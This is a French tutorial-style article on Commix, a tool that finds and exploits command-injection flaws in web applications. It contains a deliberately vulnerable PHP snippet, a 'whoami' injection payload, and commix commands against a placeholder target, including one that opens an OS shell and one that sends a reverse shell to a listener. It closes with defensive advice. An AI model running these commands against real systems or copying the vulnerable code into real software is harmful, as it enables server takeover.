💣 Commix : L'arme Fatale pour Exploiter les Injections Commandes (Command Injection)

🧠 Introduction

Si SQLMap est le roi de l’injection SQL, alors Commix (Command Injection Exploiter) est le ninja de l’injection de commandes système. Moins connu du grand public, mais redoutablement efficace, Commix permet d’automatiser la détection et l’exploitation des vulnérabilités de type Command Injection dans les applications web.

Oui, tu as bien lu. Si une appli laisse passer des commandes système sans les filtrer correctement, Commix peut transformer ce petit oubli en un shell interactif. Et tout ça, en quelques lignes de commande.

⚠️ Qu’est-ce qu’une Command Injection ?

Avant d’exploiter, il faut comprendre. Une injection de commande survient lorsqu'une application web permet à un utilisateur d’injecter et d’exécuter des commandes système (Linux ou Windows) via des paramètres non sécurisés.

Exemple typique :

<?php
    $ip = $_GET['ip'];
    system("ping -c 3 " . $ip);
?>

En envoyant un ip=8.8.8.8; whoami, on peut exécuter la commande whoami sur le serveur si la requête n’est pas filtrée. Et c’est précisément ce type de faille que Commix adore détecter et exploiter.

🚀 Commix en action : comment ça fonctionne ?

1. Détection

Commix identifie automatiquement les points d’injection potentiels dans les requêtes HTTP. Il analyse les paramètres GET, POST, les cookies, les en-têtes HTTP, et même les corps JSON.

2. Exploitation

Une fois la faille détectée, Commix propose plusieurs modes d'exploitation :

• Exécution de commandes à distance

• Ouverture d’un reverse shell

• Téléchargement de fichiers depuis le serveur

• Escalade de privilèges (si possible)

3. Évasion & Bypass

Commix inclut des techniques d’évasion avancées (encodage, obfuscation, injection blind, tamper scripts) pour contourner les WAFs et filtres applicatifs.

🧰 Commandes de base

Voici quelques exemples pratiques :

commix --url="http://target.com/page.php?ip=INJECT_HERE"

Pour cibler un paramètre POST :

commix --url="http://target.com/login" --data="username=admin&password=INJECT_HERE"

Pour une session plus interactive :

commix --url="http://target.com/vuln" --os-shell

Et même pour une connexion reverse shell :

commix --url="http://target.com/vuln" --reverse-shell --lhost=10.10.10.1 --lport=4444

Une attaque efficace, simple, et surtout automatisée.

🧩 Cas d’usage réels

• Bug Bounty : Si tu tombes sur une app web un peu ancienne ou mal développée, Commix peut te donner un accès root là où d’autres scanners échouent.

• Tests d’intrusion internes : Dans un intranet mal segmenté, une faille d’injection de commande peut mener à une prise de contrôle complète du réseau.

• Audits DevSecOps : En phase de CI/CD, tester les points critiques avec Commix permet d’automatiser la chasse aux erreurs de sécurité.

🛡️ Et la défense dans tout ça ?

Pour se protéger contre les injections de commandes, il faut :

• Filtrer et valider toutes les entrées utilisateurs (whitelisting plutôt que blacklisting).

• Éviter les fonctions dangereuses comme system(), exec(), popen() sans échappement strict.

• Utiliser des appels système sécurisés (API plutôt que shell).

• Mettre en place des WAFs, mais ne jamais s’y fier comme unique protection.

🧠 En résumé

Commix, c’est le SQLMap du système d’exploitation. Un outil redoutable qui transforme une injection oubliée en prise de contrôle complète.

📍 Pour les pentesters, c’est un incontournable de la toolbox.
📍 Pour les développeurs, c’est une bonne raison de dormir moins tranquillement…
📍 Et pour les analystes défense, c’est un signal clair qu’il faut auditer les entrées système avec rigueur.